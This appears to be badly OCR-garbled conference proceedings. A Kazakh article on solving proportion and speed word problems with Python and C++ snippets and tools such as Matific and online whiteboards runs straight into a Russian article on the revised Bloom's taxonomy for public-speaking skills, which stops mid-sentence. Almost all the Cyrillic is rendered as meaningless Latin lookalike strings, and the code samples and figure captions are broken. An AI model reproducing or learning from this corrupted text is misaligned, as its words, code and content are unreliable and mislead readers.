Mblngamablk apTca — yakbIT a3asagpl.
Kepi nponopunoHanabiK.
40 70 ., _40%70 70

Wewyi: —= >X= =—=35
X 80 80 2

Hayabbl: KaltTap *KoMblHAAFbl XKYPri3yLWiHiH, *KblngamabiFbl 35 Km/caf (2-cypeT).

galankz

TEOPUA

Kyprisyminin 6aiikaypiaima, 40 kKM /car KbeULIaMIBIKIEH Kyprerie T0 ¢ yakpITTa
oteni. KaiiTap sxomsrama on ocsl kemipaen 80 ¢ yaksitTa oTTi. Kaiitap skonbiEaarst
JKYPTI3YIIHIH KBUIIaMIBFEH TaObIHBI3.

O
BT
m (1
< >

35
« |7 89 < &
4115/|6/|, | valVva

™ 1

2113 |®||&] (|])

0O - 123 abc ... .

)

2-cypeT. Qalan.kz calTbIHbIH TancblpMachl
A.E. ©96inkacbimoBa, T.M1. Kyuep, 3.9. HymarynoBa aBTOPAaPbIHbIH, MaTeEMaTUKA NaHIHEH 6
CbIHbIM OKY/bIFbIHAH a/iblHFaH «B» »kaHe«C» aeHreninepiHiH, ecebiH mbican peTiHAe Kasipri kesaeri
TaHbiMan Python oHe C++ cekingi 6afgapnamanay TiniHAE WblFapbin KepceTcek bonaabl (2-

cxema):
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"B" neHreii ece6i: "C" neureii ecedi:
1 mbicaa. Python tininzge: 2 mpican. C++ rizminae: 1,5 car-
CanpiMuibl 15% KbLIIbIK Ta MOTOLHMK.III GAPJIBIK
ociMMeH 0aHKKe aKIla Cajbill, #KoJIAbIH 40%-bIH KYpai. OHbIH
0ip :xpL11aH Keilin 9090 Tr ecim JKBUINAMIBIFBI 03repMece, 01
aKma ajabl. Bankke Kanma JKOJIIBIH YIITeH Oip OoJririn
aKIlIa caJbIHFaH? KAHIIA yaKbITTA KYpin eTexi?

[Memyi: [Memryi:

ociM=9090 # ocim axwa #include <iostream>

naiez=15 #ocor10vix nativts int main() {

Oacramnkpl _coma—ecimM/(maitsi3/10 double t=1.5;

0)' double

print('baHkke canpIHFaH aKmia:', = result=(t/40)*100%(1.0/3.0);

1, \
QacTaKEIcoVa, 1) std::cout<<"XXomapry ymreH Oip

6emirin " << result << "caraTTa
Kypin ereni." << std::endl;

return 0;
2-cxema. Python xaHe C++ TingepiHaeri ecentepid nporpamma KoaTtapsl
File Edit Format Run Options Window Help
ecim=9090
naners=15
BacTankel _coMma=ecim/ (nayers/100)
print ('Bankke cajmlHFaH akma:', OacrTanke _coma, 'Tr')

A IDLE Shell 3.12.2

File Edit Shell Debug Options Window He
Python 3.12.2 (tags/v3.12.2:6abdd
AMD64)] on win32
Type "help", "copyright", "credit

>>>
==== RESTART: C:/Users/admin/AppD
BaHkke caJielIHFaH akma: 60600.0 Tr

>>>||

3-cypeT. Python 6aroapnamanay Tini

main.cpp Output

XongbH, ywteH 6ip 6eniriH 1.25cafaTtTa Xypin erepi.
#include
int main() {
double t=

double result=(t/

std: : cout<<"Xo ywT 66NiriH " << result << "cai
pin et ' << std::endl;
return

}

4-cypet. C++ bargapnamanay Tifi

OKylLblNnapablH, cabakKa Kbl3bIFyLLblbIFbIH OMbIH apKbiNbl apTTbipyFa Aa 6onaapl. EcenTi
OMbIH TYpiHAe TyciHaipyre Matific nHTepaKTUBTI pecypcbl Kemek KepceTeai. Matific okywbinapra
ecenTepai KepHeki Typae TyCiHyre MyMKiHAIK Oepeai, by »Kepae NponopuMAHbIH, KemerimeH
WbIFAPbINATLIH MITIH/AIK ecenTep XuHarbl OMbIH TYPiHAE bepinreH.

Matific - 0-6 cbIHbINTapPFa apHaAFaH MHTEPAKTMUBTI OMbIH PECYPCTaPbIHbIH, KeH, KiTanxaHacblH
YCbIHaZbl, O UHTYUTUBTI BM3yandbl cabakTap apKblabl TYXbIPbIMAAMANbIK TYCIHIKTEP MEH epKiH
dakTinepai pambiTyra apHanfaH. O COHbIMEH KaTap OKyLUbLAApAbIH, YArepiMmiH 6akblnayabiH,
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aBTOMATTaHAbIPbINFAH KypanaapbiH ycbiHaabl. Matific BU3yanabl OKbITYy KoHE MOTMBALMANBIK
OMbIH AM3alHbl 8A4iCTEPIH KOAAaHa OTbIpbiN, MaTemMaTUKaHbl OMblH CUSAKTbl KbI3bIKTbl YKaHe
arbIMabl OKbITYAbl Ke3aenai. OnapapiH, oky bargapnamacbiHga 400-4eH acTam UHTEPaKTUBTI
MaTemMaTuMKanblK oOMbiHAAP MeH 0-6 CbIHbINTAPAbIH, HEeri3ri maTtemaTuKanblK AarablnapbiH
KaMTUTbIH cabakTap 6ap. byn oMbiHAap epTe caHay MeH niwiHaepaeH Gactan besnwekTtep,
enwemaep, anrebpa Herisaepi *kaHe T.6. AeriH KapacTbipblaTbiH OMbiHAapP 6ap [4]. (5-cypeT).

Proportional Reasoning Distance, Time, and Speed Distance, Time, and Speed
Solve proportion word problems Solve time word problems with Solve distance word problems
(two parts, find other part) Qne step (distance, speed) given speed and time (version 1)

Distance, Time, and Speed Lemon Harvest
Solve speed word problems Use proportional reasoning to
with one step (distance, time) divide the same quantity in

multiple ways (lemons)

\ / Lucian ran 240 meters for his daily warm-up.

If he ran at a speed of 3 meters per second, how many
o seconds did it take Lucian to run this distance?

seconds

6-cypeT. Matific caiTbiHAaFbl TaNCbipma
OHnalH TakTa — Oyn oKylblnapMeH Oipnecin »KymbiC icTeyre apHanfaH OHNalH Beb-
cepsuc. TaKTa OKY MaTepunasblH BU3yanmnsaumanay apkbliabl TYCiHAIPY Kypanabl 60nbin Tabblnaabl.
OKylbIMeH OcCblHAalM ©3apa apeKeTTecy Tancbipmanapabl opblHAAY OapbicbiHAA Lewimaepai
bakblnayfa KoHe KaTenepai Ty3eTyre, yaKplTTbl yHemayre biknan eteadi. OHNalMH TaKTaHbIH,
KemerimeH MaTiHAj ecenTiH MaTeMaTMKablK MOAENIH KOPHEKI TYpAe *aHe HaKTbl MblCanaapmeH
eTKi3yre 6onasabl.
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3-cxema. OHNAMH TakTa Typaepi

NHTepaKTMBTI
TaKTanap aTaybl

KbI3merTi

TaHbachbl

|Droo

IDroo OHNalH TakTacbiHA@ TeriH Tapud apKbiabl 5
TaKTafa AeMniH Kypyfa Oonafpl KaHe onapfa apHalbl
CinTeme apKbl/bl LWEKTEYCi3 OKYLWbl KOCYFa MYMKIHAIK
H6ap. Erep cinTeme apKpbiabl KOCbIAFAH NanaanaHywsl
aBTOpM3auMALaH eTrnece, 0N TeK MYFaNiMHIH, Xa3faHblH
faHa Kepe anafbl. An  aBTopu3auMALAH  OTKEH
NanganaHylWbl TaKTaHbl  KypyWwbl CUAKTbI  Oap/blK,
KYKbIKTap MeH Kypangapfa e 6onaapl. bip TaKkTafa
9PTYPAI yaKbITTa 9pTYPAi NanAanaHyLwblaap Kipe anagpl,
6yn TakTanapapl CbiHbINTapFa 6enin, 6ip CbIHbINTbIK,
OKYLLIbINAPbIH Bip TakTara KOCyfa MYMKIHAIK Gepepi.
TakTafa  WMHTEpPHEeTKe  KOCblIAFaH  Ke3  KejreH
KYpbINfFblAaH, Mbicanbl, TenedoH, NaaHWeT Hemece
HOYTOYK apKblabl KOCbIyFa 6oaabl.

iIDroo

sBoard

TeriH HycKada e/silemi WeKci3 Tek Oip TakTa »Kacayra
bonaapl, ananaa 6yn KentereH okyllbl 6onfaH Kesae
OHWA bIHFAWAbLI  emec. KbI3MeTKe Ke3  Keared
KYPbINFblA@H KON eTKidyre 6onaapl. TeriH Hyckada
Tancblpmanap Hemece aHbIKTaManap CUAKTbI
boTocypeTTepai Kocy MyMKiHAjri 6ap.

%Board

Pruffme

TaKTanapAbl LWEKTeYCi3 Kypy KaHe nanganaHylwblnapabl
WaKbIpy MYyMKiHAir 6ap. Op TakTa yuWwiH cabakTapabl
cakTayfa 0onaTblH CcnanMaTap  Kacay — GyHKUMACHI
KonaaHblnaabl. Pruffme »yiheciHae Tek oHNaH TakTa
faHa emeCc, COHbIMEH KaTap KypcTap, TecTTep,
BeOMHapnap *aHe KOHbepeHUMANAP KacayFa apHaNfaH
MYMKiHAiIKTep ae 6ap.

[+ PRUFFME

276

1-kecTe. VIHTEepaKTUBTI TaKTanap




«Foundations and Trends in Research» (April 3-4, 2025). Copenhagen, Denmark

MaTemaTuKa cabafblH UMOPAbIK PecypcTap apKblibl OKbITy — Oyn  OKylwbliapFa
MaTeMaTUKaHbl }KeHiN 3pi KbI3bIKTbl TYPAE MEHTEpYre KOMeKTeCeTiH TUiMAi aic 6onbin Tabblnaapl.
LindpnbiK pecypcTap apKplabl ecentepai BW3yanabl TypAe KepceTin, Kagamaapabl HaKTbl
TYCIHAIpYre *XaHe KaTeEMEH XYMbICTap XKyprizyre MyMKiHAIK Tyadbl. byn oKylblnapfa matepuanipl
YaKCbl TYCiHYre, ecen wWbiFapy 6apbICbiHAA 9P KaAaMblH KEHIN TyCiHyre KemekTecei.

«MaTiHAI ecenTepAi NPOMNOPUMAHbIH,  KOMEriMeH LblFapy» TaKblpblObIH  LUMPPAbIK
pecypcTap apKblibl OKbITY, SCipece MHTEPAKTUBTI TaKTasap MeH apHaibl CalTTap apKplabl, OKY
NPOLECIH KbI3bIKTbIPbIMN, OKYLIbIHbIH, KabineTiH meH 6iniMmiH apTTbipaabl. COHbIMEH KaTap,
OKYLLIblNAp ©3 DeTiHLWe KYMbIC icTeyre AafablAaHbIin, KMbIHAbIKTAPAbI LWelyae CeHiMainikke ne
6onbin, e3iH-e3i baranangsl. Lndpabik pecypctapabl nanganaHy oKbITyAblH TUIMAININH apTTbipbIM,
6inim any npoueciH KO/KeTiMAi api TYCiHIKTI eTeai. byn agic 6apnblk OKyWblnap Yl
MaTeMaTMKaHbl OHA MEHrepyre KaHe XKaKCbl HITMXKeNepre XeTyre o awaapl.

9aebunettep Tisimi:
1. KP [pe3mpaenTiHiH, K.K.TokaeBTblH 16.03.2022 Kbinfbl onadybl, ActaHa 2022.
https://www.akorda.kz/kz/memleket-basshysy-kasym-zhomart-tokaevtyn-kazakstan-halkyna-
zholdauy-1622340
2. NaBonougas, O. B. TekcToBble 3a/1a4M — MHCTPYMEHT neaarora B obydeHnn matematuke / O. B.
MaBosiouKas. — TeKCT : HenocpeacTseHHbIn // Monoaoi yderbin. — 2023. — Ne 31 (478). — C.
157-161.
3. JlbickoBa B.lO. O HenpaBWAbHOM MOAENN 3aJa4M KABUMKEHME MO PeKe» U MeToAe peLlleHus
OMnopon Ha MHBapKWaHT // BecTH. Tamb. yH-Ta. Cep.: EcTects. M TexH. Tambos, 2005. T. 10. Bbin. |
4. https://mpost.io/ru/top-ai-based-mathematics-learning-platforms-for-students/
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MEPECMOTPEHHAA TAKCOHOMMS
ETYMA KAK OMOPA MPU PA3BUTUM
HABBIKOB MYEMYHOTO BbICTYM/EHUA
CTYNEHTOR

Bbaimambipos CeprKKa3bl AMaHIa3nHOBKUY
MNpenoaasaTenb, KaparaHANMHCKMI yHMBEpCcUTET MMmeHn E.A. bykeToBa, Ka3zaxcTaH

AHHOTALMA

B [OaHHOM cTaTbe pacCcMaTpuMBaeTCs 3HaYeHMe HaBblKOB MyO/IMYHOTO BbLICTYN/JEHUA B
coBpeMeHHOM 06pa3oBaTe/lbHOM MPOCTPaHCTBE. MMPUHLUMMLI TaKCOHOMUM Bayma moryT 6biTb
NPUMEHEHbl AN Pa3BUTUA HaBbIKOB MyO/IMYHOrO BbICTYMN/AEHMA, HayMHas OT GOPMUPOBAHUSA
6a30BbIX 3HAHWI O METOAAX N TEXHUKAX BbIPaXKeHU MbIC1EN BNAOTb 10 CMOCOBHOCTN KPUTUYECKM
OLEHMBATb CODOCTBEHHbIE U YyXKMe Mpe3eHTauun. ITa CUCTeMa MepapXMUecKn CTPYKTYpupyeT
y4eOHble Lean, YTo NpeaoCTaBAseT BO3MOMKHOCTb NOLIAroBO Pa3BlBaTbh HEOOXOAMMbIE HABbLIKU.

KnioyeBble cnoBa: TakcoHomusa bayma, onopa, HasblkM NyOBAMYHOTO BbICTYMAEHMUA,
LWKONIbHUKM, HaBbIKM paboTbl ¢ MHGOPMaALMEN, KOMMYHUKATMBHbIE HaBbIKM.

BeseaeHue

B coBpemeHHOM o0b6pa3oBaTeNbHOM MpoLEecce pPa3BMUTME HABbIKOB  MyHANMYHOrO
BbICTYN/IEHMA NpuobpeTaeT BCce BO3pacTatlollee 3HayeHue, MOCKObKY ymeHue 3hdEeKTUBHO
KOMMYHWLIMPOBATb M MPEe3eHTOBaTb MAEW CTAHOBMTCA KAtOYEBbIM TpeboBaHMEM B Pa3MYHbIX
chepax pgeatenbHoctM. OAHMM M3 WHCTPYMEHTOB, MO3BOAIOWMX CTPYKTYPMPOBaTb W
CUCTEMATU3NPOBATL NPOLLECC 0BYYEHMA, CAYKUT TaKCOHOMMA Bayma.

Co3spnaHue TakCOHOMKMKM Biyma Hadanoch elwé B XX BeKe. B 1o Bpema rpynna y4éHblx noja
PYKOBOACTBOM beHarkamMunHa bayma, amepuKaHCKOro ncuxonora v negarora, pabortana Hapg,
CO3aHMEM YHMBEPCANbHOTO MHCTPYMEHTA, NMPW MOMOLM KOTOPOro MOMHO OOBEKTMBHO U He3
TPYAa OUEHMBATb YPOBEHb AOCTUNKEHNA 0OYyYAOWMMUCA KaKon-1nmbo yyebHoM Lenn. B To Bpemsa
yKe GUryprmpoBano MHOMXKECTBO TEPMMHOB M MOHATUI, CBA3AHHbIX C TAaKUMU LeNsiMn 0by4eHma, Ho
KOHKPETMKM B HUX HE MPOCNEKMBANOCH: HE BblNO HM YETKOW CTPYKTYPbI, HM YPOBHErO NOpAaKa.

AMepMKaHCKMe y4EHble Ha4yanm CUCTEMATU3MPOBATL BCe Y4ebHble LieIv, OPUEHTUPYACH Ha
KOFHUTWUBHbIM HaBblK, HEODXOAMMBIN ANA UX AOCTUMKEHUA. Pe3yNbTaTOM AaHHOMO McCcaeaoBaHmA
CTana nepapxma y4ebHbix Lenein, CoOCTOALLAA U3 WeCTW ypoBHEN: OT 6a30BOro K NPOABUHYTOMY.

B 1956 rpynna y4eHbIx YnKarckoro yHusepcuTeTa onybamnKkoBana Ty Mepapxmio y4ebHbIx
uener B KHUre «TaKCOHOMMA 0bOpa3oBaTeNbHbIX Lenen». [laHHaa cUcTema y4deHbix Uenewn
noay4nna HasBaHWe «TakcoHoMMA bayma». ITa nybaMKaumMAa cTana OCHOBOW ANA Aa/NbHENLINX
MCcCNeaoBaHUM M NPAKTUYECKOrO NPMMEHEHNA TaKCOHOMKUK bayma B cucTeme obpasoBaHMA.

CTOUT OTMETUTb, YTO B Hay4yHOM none durypmpytoT 3 cdepbl 06pa3oBaTENbHBIX Lenei:
KOrHUTUBHAA, adpdeKTMBHAA U NCMXOMOTOPHaA. AQPeKTUBHAA M NCUXOMOTOPHAA chepbl CBA3AHbI
C YyBCTBAMW WU OENCTBMAMM COOTBETCTBEHHO. KOrHUTMBHas chepa, B CBOK oyepep, CBA3HA CO
cbepolt ocBoeHMs 3HaHWM. OpurkMHanbHas TakCoOHOMUA bBayma KacaeTca WCKAKYUTENbHO
KOTHUTMBHOM chepbl 0bpa3oBaTebHbIX Lieel.

KaK y»e 6bl10 CKa3aHOo, TAaKCOHOMMA COCTOUT M3 6 YPOBHEN. 3a4acTyto MX M30OpaxKatoT B
BMAE nupamnapl. (puc.1)
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JHaHue

PucyHok 1. TakcoHomusa bayma

PaccMoTpuM Kaxkablil U3 ypoBHel bosiee AeTanbHO.

MepBbln ypoBeHb — 3HaHKWe. Cioga BXOAAT camble Ha30Bble AENCTBMA — NOSTyYEeHME KaKoM-
nmbo  MHPopmaumKM, ee 3anomMuMHaHMe W BOCMpOU3BedeHUMe, TO ecTb b6ecco3HaTesibHoe
noBTOpeHue. [Naronbl, XxapakKTepHble ANA AAHHOMO YPOBHA: MOBTOPWTb, PAccKas3aTb, MOKa3aTb,
Ha3BaTb.

BTopol ypoBeHb - MOHMMaHME. 34eCb OCHOBHbIM MPUHLMNOM ABNAETCA MHTEPNpPeTaLmA
MaTepuana. [aHHbIA ypOBEHb XapaKTepu3yeTcA He TOJAbKO MPOCTbIM  3aNOMWHAHMEM
MHbopmMaLMM, HO U MEPBUYHLIM €e MOHUMAHMEM WM MUHMMANbHOW nepepaboTkoi. [naronsi
[AHHOrO ypoBHA: NnepedpasnpoBaTb, 0OBACHUTb, ONUCATb, ONPEeAENNTb NPU3HAKM.

TpeTuit ypoBeHb — MCNONb30BaHMe. Llenbto AaHHOro ypoBHA ABAAETCA HeNnocpeacTBeHHOe
NPUMEHEHWE MONYYEHHbIX 3HAHWI Ha NPaKTMKe. [Naronbl, XapakTepHble ANA AaHHOTO YPOBHSA:
NPUMEHNTb, MPOMNNIOCTPMPOBATL, Npeobpas3oBaTb, BOCCOEANHATD.

YeTBEPTLIN ypOBEHb — aHanM3. Ha AaHHOM YpOBHE YYEeHWKM O0MKHblI aHAINM3MPOBATbL
MHGOPMaUMIO, BbICTPAMBATb /IOTMYECKME LLeMOYKM, COMOCTaBNATb GaKTbl U AeAnTb HBOAbLION
MaTepuan Ha MaNieHbKMe CMbICNIOBble YacTu. [naronbl ANA [AAHHOMO YPOBHA: BbIABAATH,
NpoaHanM3nMpPoBaTb, CONOCTABAATb, KNAacCUULMPOBATb.

MATbIN yPOBEHb — CMHTE3. 34eCb CMbICA EXNUT B NPUMEHEHMM BCEX MMEIOLLMXCA 3HAHUI C
Lenbto co3aaHmA 4ero-ambo HOBOro. [Naronbl, XapakTepHble ANA AAHHOrO YPOBHA: CO34aTb,
NNAHMPOBATb, NPUAYMATb, MOAENNPOBATD.

MocneaHWn ypoBeHb — OLEHKa. ITOT ypOBEHb — LieNib BCcero obyveHuna. [laHHbIN ypoBeHb
NO3BONAET OUEHUTb LEHHOCTb MHGOpMauun, obcyKaaTb cnabble U CUAbHbIE CTOPOHbI, A TaKKe
BblABMUIaTb KOHCTPYKTMBHblE MPEANONKEHNA NO MOBOAY YAy4ylleHWA paboTbl ¢ MHbOPMaLMEN.
[naronbl AAHHOTO YPOBHA: OLEHWTb, A0Ka3aTb, 3aLLUMTUTb TOUYKY 3PEHUA, APrYMEHTUPOBATD, 4aBaTb
PEeKOMeHAALNN.

MeToabl nccnenoBaHus

C TeyeHMem BpPEMEHW MHOTME MCUXONOrM W yyeHble MblITaMCb NepecmoTpeTb uaewn
TakcoHomumn. B 2001 roay [Adssua KpstBon u JlopyH AHAEPCOH, KoAaera M yyeHuKk bayma
COOTBETCTBEHHO, CO34a/M MOANPUUMPOBAHHYKO TaKCOHOMMIO bayma. VImeHHO 3TO BepcuA
TAaKCOHOMMM HaLa NPU3HAHWE B METOAMYECKMX KPyrax, MOCKO/bKY OHa obierymna Becb npouecc
npenoaaBaHmA B LLe/IOM, AeNas ero MakCMMabHO NOHATHbBIM M TOTMYHbIM. B nocneacTsmm AaHHan
MoanbUKaLmMs NoayyYmnna HassaHue «llepecmoTpeHHas TakcoHoMus baymay. (puc. 2)
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PucyHoK 2. NepecmompeHHaa makcoHomus bayma

OTAnMumMii - Mexkay KNaCCMYECKOM TaKCOHOMMEW W NepecMOTPeHHOM BCero ABa:
Mcye3HOBEHME OAHOIO YPOBHA W NOABAEHWE APYrOro, HOBOro. BMeCTO YpOBHA «CUMHTE3» NpuLlen
YPOBEHb «OLeHKa», COXPaHASR Npu TOM BCE CBOWM MPUHUMMbI. HOBbIN ypOBEHb NEPECMOTPEHHOM
TAKCOHOMMMK — 3TO «CO34aHME», TO eCTb NPUMEHEHME BCEX MOYYEHHbIX HABbIKOB M 3HAHUI B
npouecce obyyeHma ANsA CO34aHNA Yero-nmbo HOBOTO.

B KOHTEKCTe pa3BUTUA HABbIKOB MYHMYHOTO BbICTYMNIEHMA CTOUT PacCMaTpMBaTb MMEHHO
NepecMoOTPEHHY TaKCOHOMMUIO Bayma, NOCKO/MbKY CamMo BbICTYM/IEHWE - 3TO NMPOAYKT, KOTOPbIN
co3faeTca obyyatoLMMcA C MICNONb30BAHMEM Er0 Pa3/IMYHbIX 3HAHUI MO TeMe.

[na NoONHOro MNOHMMAHWA BO3MOMXKHOCTM WCMONb30BAHWUA UAEN NepecMOTPEHHOM
TaKCOHOMMMK, HeobxoAMMO NPOAHANM3MPOBATb, KaKMe WMEHHO HaBblKM HeobxoAuMbl ANA
ny6AMYHOro BbICTYNAEHUA.

Kak M3BECTHO, OAHMM M3 pelwatowmx GaKTOPOB yCNeWwHOCTM Ny6ANYHOro BbICTYNAEHWA
ABNAETCA HENOCPEACTBEHHO CaM ero TeKcT. [1p1 HanucaHUK TeKcTa HeoHBXOAMMO OTTA/IKMBATBLCA
OT 3ambIc/ia Bcero nybanmyHoro BbicTynaeHmsa. Cioa BXOAWUT PeneBaHTHOCTb MHbOPMaLMK, ee
CTPYKTYPUPOBAHHOCTb, MOHATHOCTb M YETKOCTb. B cOBpeMeHHOM Mupe, rae MHGopmMaLmMa NbeTcs
OecKOHeYHbIM MOTOKOM, KpalHe BaXKHO OTAeNATb Heobxoammoe OT HeCCMbIC/IEHHOTO, F1aBHOE —
OT BTOpPOCTENneHHOoro. Ytobbl ycnewHo NpeoaoneTb 3Ty CIOKHOCTb M COCTaBUTb MHGOPMATUBHbIN,
HO B TO XK€ BPEMS TAKOHWYHbIM TEKCT, HEOOXOAMMO Pa3BMBATb LLEYHO FPYMNMy HaBbIKOB — HABbIKOB
paboTbl c MHPOPMaLIMEN.

BTopoi acneKT, BAMAIOWMIA Ha yCNeLWHOCTb NY6AMYHOrO BbICTYNAEHMA — 3TO CaM npoLecc
BbICTynneHuA. Cloga BXOAAT Cpa3y HECKO/IbKO MapaMeTpoB: TEMM M BHATHOCTb pPeyn, MaHepa M
cnocob noaaum MHPOPMaLMM, KeCTbl U MHOTOe Apyroe. To ecTb Te BellM, KOTOPble NO3BONAIOT
[oHecTM uHbopmaumto Ao  caywaTtenen. [laHHble HaBblKM  MOMHO OTHECTM K rpynne
KOMMYHMKATUBHbIX.

MepecmoTpeHHas TakcoHomuA bayma obpauwaetr 6osblie BHMUMAHMA Ha aKTUBHOE U
TBOPYECKOE MbIlLAEHME, YTO AenaeT ee 6osee COBPEMEHHOM M NMPUMEHUMOM K COBPEMEHHbIM
obpasoBaTeibHbIM NOTPEOHOCTAM. 3Ta NepecMOTPEHHAnA BEpCcUA NMOMOraeT npenoaaBaTenam u
obyyarowmmes Honee TOYHO ONPeaennTb Lean obyyYeHMA M OLEHKM Ha pPasHbIX YPOBHAX
CNOXKHOCTU. K TOMY e NepecMoTpeHHasa TaKCOHOMMA bayma cnocobHa NOMMPUTL MOCTOAHHOE
NPOTUBOCTOAHME MEXAY Ka4eCTBEHHbIMM NPeAMETHbIMM 3HAHUAMMK U CODT-CKMANAMU. YUNTbIBAA,
YTO NepecMOTPEHHAA TaKCOHOMMA bayma ABNAETCA yKe ABYMEPHOM MOAENbI, CTAHOBUTCA NpoLLe
NNaHMpoBaTb 06pa3oBaTeibHbIE LEeN.

3HaHWe, KaK 1 B OPUTMHANBbHOW TakCOHOMMK Bayma 1956 roaa, He NpocTo onumcbiBaeTcA
OTAeNbHO, OHO o06pasyeT HoBoe uM3MepeHue. Takum 06pa3om TakCcoHOMMA  bayma
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3BO/MIOUMOHUPYET U3 OAHOMEPHOW B ABYMEPHYIO. M3mepeHne 3HaHWI NpeacTaBNEeHO YeTbipbMA
OCHOBHbIMW TUMAMM 3HAHWI (B OPUTMHANBHON TAKCOHOMMM MX OAMHHAALATL). PakTyanbHble
3HAHWA — 3TO OCHOBHbIE 3/IEMEHTbI, KOTOPbIE AO/KHbI 3HATb CTYAEHTbl A58 O3HAKOMAEHUA C
ANCUMMNINHON MAM pelleHuAa 3aady Nno Hel. XapaKkTepusyeTcs HalMuyMem B COAEPMKaHWUM
TEPMWUHONIOTUM,  CMEeLMaNN3NMPOBAHHbIX  CMMBOJIOB,  GOPMMPYETCA  C/AIOBapHbIA  3anac,
aTpMbyTUPOBAHHbLIA MMEHHO 3TOW AUCUMNMHE, ODydatollmMeca 3HaOT KOHKPETHble AeTann u
31EMEHTbI, NpUcyLine nsydyaemomn obnactu.

KoHuenTyanbHble 3HaHMe npeacTaBnseT cobol B3aMMOCBA3b MeEXAYy OCHOBHbIMM
3/1eMeHTaMM B pamKax bosiee KpyrnHOM CTPYKTYpPbl, N03BOAAOWAA UM GYHKLMOHMPOBATbL BMECTE.
Hanpumep, Takol pe3ynbTaT obydyeHua AOCTMraeTca, Koraa obydatouwmica cnocobeH Has3BaTb
(BOCNPOM3BECTM) 3aKOH COXPaAHEHWA Macchl, Teopemy [udaropa, TeopUo 3BOOLMUMN,
reosiornyeckme nepuompl, Gopmbl COBCTBEHHOCTU 1 ApP.

MpoueaypHble 3HaHMA BKAtOYAOT B CcebA 3HAHMA KaK 4YTO-TO JAenaTb, METOAb
MCCNenoBaHUA N KPUTEPUM MCMONb30BAHMA HABbIKOB, aIFOPUTMOB, MPMEMOB M MeToA0B. K aTomy
TMNY 3HAHWA MOMKHO OTHECTM anropuUTM pelleHUs KBaApaTHbIX YPaBHEHWI, NpoBeAeHMA
NabopaTopHOro onbiTa, aHanM3a TekcTa. [pn BbICOKOM YpOBHE Pa3BUTMA AAHHOIO TUMNa 3HAHWIA
obyyarolimecs  OonNpeaenAtoT,  KOr4a  WMCNOMb30BaTb  COOTBETCTBYHOLLIME  MPOUeaypbl.
MeTaKOrHUTMBHOE 3HaHWe TpebyeT 3HAYUTeNbHOro YyMeHMA abCTPaKTHO MbICANTb, 3TO 3HaHMKe
NO3HAHMA B LLE/IOM, @ TaKXe 0CO3HaHMe U 3HaHWe COBCTBEHHOro MO3HAHWA. DTOT TUM 3HAHWUN
MOXHO Ha3BaTb CTPaTerMyeckMm, NpPeAnonaratoliMm 3HAHWA 3IBPUCTUKM, KOTHUTUBHbBIX
TpebOBaHWIN ANA BbINONHEHUA KOHKPETHOM 3ada4n. Obyyatowmiica cnocobeH pednekcnmpoBsaTb,
T.€. 33HUMATbCA CAaMOMO3HAHNEM, OCO3HAHNEM COBCTBEHHOTO YPOBHA 3HaHMI [1].

Kak ©“ B OpUrMHANbHOM TAKCOHOMWW, WMEETCA WeCTb YPOBHEN W3MepeHus
No3HaBaTe/IbHOrO npouecca. [lepecMoTpeHHanA TaKCOHOMMA bayma BKIOYaeT cieaytolime ypoBHM
KOrHUTUBHbIX HAaBbIKOB (B NOpAAKe BO3PACTAHMA COKHOCTU):

® [IOMHUTb - M3B/NEKATb COOTBETCTBYHOLWIME 3HAHMA U3 AONTOBPEMEHHOM MAaMATU. ITOT
YPOBEHb COOTBETCTBYET YPOBHIO "3HaHMe" B UCXOAHOM TaKCOHOMMM bayma. CTyaeHTbl CNOCO6HbI
BOCMPOU3BOAMTL MHOOPMaUMIO, GaKTbl U MOHATMA.

® [loHMMaTb - CO34aBaTb CMbICT M3 obyyatouwel WMHPOPMaLMKM, BKAKOYAA YCTHYHO,
MUCbMEHHYID U rpaduyecKkytd KOMMYHMKaLMIo. ITOT YpPOBEHb COOTBETCTBYET YPOBHIO
«MOHMMaHMe» UM BOCIPUATME B UCXOAHOM TAaKCOHOMMM. 34eCh CTYAEHTbl HE TO/bKO MOMHAT
MHbOPMaLMIO, HO M CNOCOOHbLI OOBACHUTL e, MHTEPMNPETUPOBATbL N CPABHMBATH.

® [IpMMeHATb - OCYWECTBAATb MCMOMb30BaHME B [AAHHOM CWUTyauuu. ITOT YpPOBEHb
aHanornyeH yposHto "MpumeHeHne" B UCXOAHOW TaKCOHOMMUMK. CTyAEeHTbl MOMYT MCMOJb30BaTh
CBOM 3HAHMA AN1A pelleHns KOHKPETHbIX 334au.

® AHaNM3MpPoBaTb - AENUTb MaTepuan Ha COCTaBAAlOWME W OnpeaeneHue, Kak 4YacTu
COOTHOCATCA ApYyr C APYrom U C OOWEen CTPYKTYpPOM WAM Ha3HadeHmem. ITOT YPOBEHb
COOTBETCTBYET YpPOBHIO "AHanm3" B MCXOAHOM TaKCOHOMUW. 3AeCb CTyAeHTbl pasbupatoT
MHGOPMaLMIO Ha COCTABHbIE YaCTU, BbIABAAIOT 3aKOHOMEPHOCTM U CBA3MW.

e OueHMBaTb - AeNaTb CYKAEHUA Ha OCHOBE KPUTEPUEB M CTAHAAPTOB. ITOT YPOBEHb
aHanornyeH yposHto "OugHKa" B MCXOAHOM TakcoHOMMMK. CTyAeHTbl MOMyT AenaTb OLEHKY U
NPUHMMATb PelleHna Ha OCHOBE aHa/M3a MHPOPMALMM M apryMeEHTaLMN.

e Co3pnaBatb - 0ObeAMHATbL 3/1€MeHTbl, 4YTOObl cHOPMMPOBATH COrMACOBAHHOE WM
GYHKUMOHaNbHOE Lenoe. PeopraHnM3oBaTb 3/1eMeHTbl B HOBbIM WAabAOH WUAKW CTPYKTYpy. ITOT
YpPOBEHb COOTBETCTBYET ypoBHKO "CuHTE3" B WMCXOA4HOM TAKCOHOMWMW. 34eCb CTYAEHTbl MOryT
CO3/1aBaTb HOBblE MAEW, MPOAYKTbI 1 KoHUenuuu [1].

MprUMeHeHWe 3HaHWMI, YaCTO pacCMaTPMBAEMOE KaK HaBblK HM3Wero nopaaka, obo3HavaeT
CNOCOBHOCTb  MCMNONb30BaTb MHPOPMALMIO WMAM  HABbIKM B KOHKPETHbIX CUTyaumax 6Hes
HeobXxoAMMOCTM rNyOOKOro aHann3a, CUHTE3a UKW KPUTUYECKOTO MblluneHuA. [puMmeHeHne, nan
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NPUMEHUTENbHbIA  HaBblK, NpeAcTaBaseT cobor CcnocobHOCTb WMCMNONb30BaTb WM3YYEHHYHO
MHOOPMALUMIO B KOHKPETHbIX MPAKTUYECKUX CUTyaLMsax. ITO MOXKET BK/tOYaTb B cebs pelleHume
KOHKPETHbIX 334a4, NPUMMEHeHWe onpeaeneHHbIX MNpoueayp WAM  BbINOJHEHWE PYTUHHBIX
